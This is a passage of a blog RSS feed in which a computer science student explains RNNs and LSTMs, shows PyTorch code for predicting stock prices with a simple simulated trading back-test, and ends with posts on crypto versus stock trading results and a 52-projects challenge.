&lt;p&gt;You can see the lines fluctuating over each other a lot more. This means there are far more buy and sell signals compared to any other algorithm. So, does more trading mean more profit? &lt;em&gt;INSERT DRUM ROLL&lt;/em&gt; The final balance with the Microsoft stock is $165.21, which gives an ROI of 65.21%. This is an incredible result. I’m going to do some more fine-tuning and then possibly set it up for live trading. If that happens, there will be another post. Please note, this does not take into account transaction fees. Once they are included, I’m sure the profit would be lower.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So, why do these algorithms work better with traditional stocks than with crypto?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These are more educated guesses now, as I’m a computer science student with little knowledge of how the finance sector really works. Crypto is much more volatile and can be heavily influenced by something as simple as a tweet. Some cryptocurrencies can change by 10% or even 20% in a matter of hours, making them nearly impossible to predict. The stock market, on the other hand, has something called Limit Up-Limit Down (LULD), which (in theory) prevents extreme volatility, leading to more predictable patterns. Moving averages and momentum indicators don’t reset daily with crypto because it operates 24/7, which makes it even harder to establish reliable patterns. The stock market has clear opening and closing hours, which helps small patterns to form. I’m sure there are many other reasons, but I’ll leave it to the financial experts on Reddit to explain those.&lt;/p&gt;

&lt;p&gt;If you enjoyed the blog, feel free to join &lt;a href="https://discord.gg/2SZm46Jevq" rel="noopener noreferrer"&gt;Discord&lt;/a&gt; or &lt;a href="https://www.reddit.com/r/MichaelMediaGroup/" rel="noopener noreferrer"&gt;Reddit&lt;/a&gt; to get updates and discuss the articles, or follow the &lt;a href="https://blog.michaelrbparker.com/rss.xml" rel="noopener noreferrer"&gt;RSS feed&lt;/a&gt;. If you feel like supporting me feel free to donate a cuppa using the buy me a coffee link in the corner. If you're a company feel free to send me some swag, I will be looking for placements soon.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/micfun123/Python-trader" rel="noopener noreferrer"&gt;THE CODE FOR YOU CODE LOVERS&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>trading</category>
      <category>automation</category>
      <category>cryptocurrency</category>
    </item>
    <item>
      <title>Using ML and AI for stock price prediction</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Thu, 20 Feb 2025 17:14:53 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/using-ml-and-ai-for-stock-price-prediction-3na7</link>
      <guid>https://dev.to/the_tea_drinker/using-ml-and-ai-for-stock-price-prediction-3na7</guid>
      <description>&lt;p&gt;Welcome back to yet another journey into AI (still highly caffeinated—Yorkshire Tea is the best brand of tea). If you haven't read &lt;a href="https://blog.michaelrbparker.com/post/5" rel="noopener noreferrer"&gt;my first AI article, I'd recommend doing so here.&lt;/a&gt; Otherwise, the TL;DR is that I'm brand new to the whole AI development thing, and I'm trying to publish a research paper by the end of the year. I have recently learned how PyTorch, NumPy, and some of the AI maths work, so I'm going to skip the basics that I went over in the last article. By the end of the blog, I had a working OCR model. In this article, we’re hopefully going to have a working long short-term memory (LSTM) model to predict stocks.&lt;/p&gt;

&lt;p&gt;So, what is an LSTM model?&lt;br&gt;&lt;br&gt;
An LSTM is a type of recurrent neural network (RNN). This means that before I can explain what an LSTM is, I'm going to have to take a few steps back and explain what an RNN model is. An RNN is a type of AI model designed to be used with sequential data (data that is organised in a sequence, where the order is important), such as sentences, sensor measurements, gene sequences, and, you guessed it, stock prices. RNNs are one of the few models that have a kind of memory. The memory in an RNN is called a hidden state, and this is fed through a loop.&lt;/p&gt;

&lt;p&gt;This might be a bit hard to understand, so let's put this in an example. Let's say we are reading a sentence.&lt;/p&gt;

&lt;p&gt;The first word gets passed into the RNN model, and the model generates a hidden state. (To make life simple, just think of a hidden state as a summary of what the model has been exposed to so far.)&lt;/p&gt;

&lt;p&gt;Next, the following word is given to the RNN model, along with the hidden state that was generated by the previous word. An updated/new hidden state is created.&lt;/p&gt;

&lt;p&gt;The model then continues to loop through the sentence, passing on the previous hidden state.&lt;/p&gt;

&lt;p&gt;If you are interested, this process can be shown as a &lt;/p&gt;



&lt;p&gt;Where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;( x_t ) = current input (e.g., a word at time ( t ))&lt;/li&gt;
&lt;li&gt;( h_{t-1} ) = previous hidden state (memory from the last step)&lt;/li&gt;
&lt;li&gt;( W, U, b ) = learned parameters (weights and biases)&lt;/li&gt;
&lt;li&gt;( f ) = activation function (usually &lt;code&gt;tanh&lt;/code&gt; or &lt;code&gt;ReLU&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you don't understand the maths, that's not important. I've kind of left it in for those who are interested. I'm happy to go through it over on &lt;a href="https://discord.gg/2SZm46Jevq" rel="noopener noreferrer"&gt;Discord&lt;/a&gt;, but don't worry about it too much.&lt;/p&gt;

&lt;p&gt;The downside of RNN models is that they can sometimes forget things. This is called the "vanishing gradient problem". As the model takes in more data, the weighting of earlier data decreases. It can eventually decrease to the point that it's no longer significant. This is because the gradients shrink exponentially during backward propagation.&lt;/p&gt;

&lt;p&gt;One of the main benefits of an LSTM is that it fixes the vanishing gradient problem. LSTMs use a structure called a memory cell, which allows them to selectively remember or forget information over long periods. The memory cells have three gates.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Forget Gate:&lt;/strong&gt; Decides which information to discard from the cell state.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This gate decides which parts of the previous cell state should be&lt;br&gt;
   kept or discarded. It takes the previous hidden state and the current&lt;br&gt;
   input and outputs a number between 0 and 1 for each value in the cell&lt;br&gt;
   state. If the number is closer to one, it is kept. If it's closer to&lt;br&gt;
   zero, it's forgotten.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Input Gate:&lt;/strong&gt; Determines what new information should be added to the cell state.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Output Gate:&lt;/strong&gt; Controls what information from the cell state should be used as output.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, if you are feeling fancy, you can chain LSTMs together. You do this by taking the state of the previous cell as well as the output and feeding that into the new cell with an input. This cell then processes its own outputs, and so on. This process enables LSTMs to learn dependencies over long sequences while reducing the vanishing gradient problem. I think this is all the information that's needed for us to start coding.&lt;/p&gt;

&lt;p&gt;The first new thing is making a DataFrame. LSTMs require sequential data, so we need to make a table where we shift back the closing prices. I have decided to do this a week at a time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;prepare_dataframe_for_lstm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n_steps&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Date&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inplace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n_steps&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Close(t-&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Close&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;shift&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dropna&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inplace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates an output that looks like this. (This is not the full output, but trying to format code blocks is hard. You get the idea.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;               Close  Close(t-1)  Close(t-2)  Close(t-3)  Close(t-4)
Date                                                                
1997-05-27  0.079167    0.075000    0.069792    0.071354    0.081771
1997-05-28  0.076563    0.079167    0.075000    0.069792    0.071354
1997-05-29  0.075260    0.076563    0.079167    0.075000    0.069792
1997-05-30  0.075000    0.075260    0.076563    0.079167    0.075000
1997-06-02  0.075521    0.075000    0.075260    0.076563    0.079167
1997-06-03  0.073958    0.075521    0.075000    0.075260    0.076563
1997-06-04  0.070833    0.073958    0.075521    0.075000    0.075260
1997-06-05  0.077083    0.070833    0.073958    0.075521    0.075000
1997-06-06  0.082813    0.077083    0.070833    0.073958    0.075521
1997-06-09  0.084375    0.082813    0.077083    0.070833    0.073958
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After this, we need to normalise the data. By normalising the data, we make the minimum value -1 and the maximum value 1. This will speed up convergence. Stock prices can end up being massive numbers, which leads to large gradients, either slowing down convergence or causing unstable training (large or rapid changes in gradients, or the loss function fluctuating instead of decreasing).&lt;/p&gt;

&lt;p&gt;The next few steps are boring, so we will just brush over them: converting everything to NumPy, splitting the data into &lt;strong&gt;X&lt;/strong&gt; and &lt;strong&gt;Y&lt;/strong&gt;, reshaping the data, and then converting it to tensors. Finally, we split the data into testing and training sets. The first 95% of the data will be used for training, and the last 5% will be used for testing.&lt;/p&gt;

&lt;p&gt;Now for the fun part—creating the model. Making an LSTM is surprisingly simple with PyTorch. Our class takes in four attributes: input size, hidden size, number of layers, and output size. We are using an input size of 1, so we are processing one row of the table at a time; a hidden size of 4, meaning we are using four nodes in every LSTM; and one layer, meaning we are using a single LSTM model. This is due to it being a simple problem—chaining multiple LSTMs together can lead to overfitting. This is also the reason for using so few nodes. ("Overfitting means creating a model that matches (memorises) the training set so closely that the model fails to make correct predictions on new data" — Google Developer Crash Course). Finally, there is only one output, as the only data we want to take from the model is the future price of the stock.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;LSTM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Module&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hidden_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;num_layers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_size&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LSTM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hidden_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hidden_size&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;num_layers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;num_layers&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lstm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;LSTM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hidden_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;num_layers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;batch_first&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Linear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hidden_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;forward&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;batch_szie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;size&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;h0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;zeros&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;num_layers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;batch_szie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hidden_size&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;c0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;zeros&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;num_layers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;batch_szie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hidden_size&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lstm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;:])&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;

&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;LSTM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next is the forward function. The first thing is initialising the memory (hidden and state cells) with zeros. For every batch of the training loop, there is no previous data, so if we did not create a tensor of zeros, the computer would use random values from the system's memory. This would lead to a bias in the data.&lt;/p&gt;

&lt;p&gt;The next step is passing in the current batch and memory into the LSTM. This step returns two things: a tensor with the output values and the memory in the final state. We don’t need the values of the memory, so we cast it into the void (assign it to a _ variable, which is a convention in Python to indicate unused or unnecessary data). We then output and extract the last time step from the tensor. Finally, the extracted data is passed into a fully connected layer, leading to our single-value stock price output.&lt;/p&gt;

&lt;p&gt;This model goes through several training loops (also explained in the last article), and then we compare our predicted data to the real data. The model seems fairly accurate.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftlqshb6pyasc281kontz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftlqshb6pyasc281kontz.png" alt="Prediction Images" width="571" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now for the fun part. Getting rich quickly. I have this rather crude trading strategy code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;initial_cash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;cash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;initial_cash&lt;/span&gt;
&lt;span class="n"&gt;shares&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;portfolio_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="n"&gt;buy_threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.01&lt;/span&gt;  &lt;span class="c1"&gt;# Buy if the predicted price is 1% higher than current
&lt;/span&gt;&lt;span class="n"&gt;sell_threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.99&lt;/span&gt;  &lt;span class="c1"&gt;# Sell if 1% lower
&lt;/span&gt;&lt;span class="n"&gt;position_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;  &lt;span class="c1"&gt;# Allocate 10% of cash per trade
&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_y_test&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="n"&gt;current_price&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_y_test&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;predicted_price&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;test_predictions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;predicted_price&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;current_price&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;buy_threshold&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;cash&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;current_price&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;shares_to_buy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cash&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;position_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;current_price&lt;/span&gt;
        &lt;span class="n"&gt;shares&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;shares_to_buy&lt;/span&gt;
        &lt;span class="n"&gt;cash&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;shares_to_buy&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;current_price&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;predicted_price&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;current_price&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;sell_threshold&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;shares&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cash&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;shares&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;current_price&lt;/span&gt;
        &lt;span class="n"&gt;shares&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="n"&gt;portfolio_value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cash&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;shares&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;current_price&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, could this code be better? Yes, but the goal of this project was the AI aspect. In short, we look at the current value and our predicted future value. If it’s ≥1% higher, we buy stock; if the future value is ≥1% lower, we sell the stock. Now for the bit of information everyone wants: how much PROFIT did this make?&lt;/p&gt;

&lt;p&gt;By giving it a (fake) 1000 USD and letting it run between the years of 2021-12-08 and 2023-04-05 (with a speed-up in simulation time), a grand total profit of 22.99 USD was made.&lt;/p&gt;

&lt;p&gt;Now, is this a success?&lt;br&gt;&lt;br&gt;
Kinda. I have successfully created a working LSTM model that generates profit. However, if you had put the same 1000 USD into a 4.4% ISA, you would have made 59 USD of profit. But hey, that's less fun.&lt;/p&gt;

&lt;p&gt;If you enjoyed the blog, feel free to join the &lt;a href="https://discord.gg/2SZm46Jevq" rel="noopener noreferrer"&gt;Discord&lt;/a&gt; or &lt;a href="https://www.reddit.com/r/MichaelMediaGroup/" rel="noopener noreferrer"&gt;Reddit&lt;/a&gt; to get updates and discuss the articles. Or follow the &lt;a href="https://blog.michaelrbparker.com/rss.xml" rel="noopener noreferrer"&gt;RSS feed&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>machinelearning</category>
      <category>ai</category>
      <category>rnn</category>
      <category>lstm</category>
    </item>
    <item>
      <title>My 52 Weeks of madness</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Mon, 06 Jan 2025 09:16:46 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/my-52-weeks-of-madness-33d5</link>
      <guid>https://dev.to/the_tea_drinker/my-52-weeks-of-madness-33d5</guid>
      <description>&lt;p&gt;I'm trying to make 52 projects this year. I'm mostly attempting this project to practise coming up with ideas. I'm not sure if it is even a skill someone can learn, but we will try it. It could also be a cool way to learn a few new tricks. I am thinking of making a weekly reel over on Instagram. What I am certain about is that all my projects will be posted on the Discord server, and I'm inviting you all to join in, post your projects, and see what we get up to. I'm hoping to blog about some of these projects, but I'm not sure that all the projects will be big enough for a dev log. I'm thinking I will wait until I have a few and write about them together. Your opinions and advice would be welcomed here. I'm sure they will go somewhere on my website even if I add a new page for this.&lt;/p&gt;

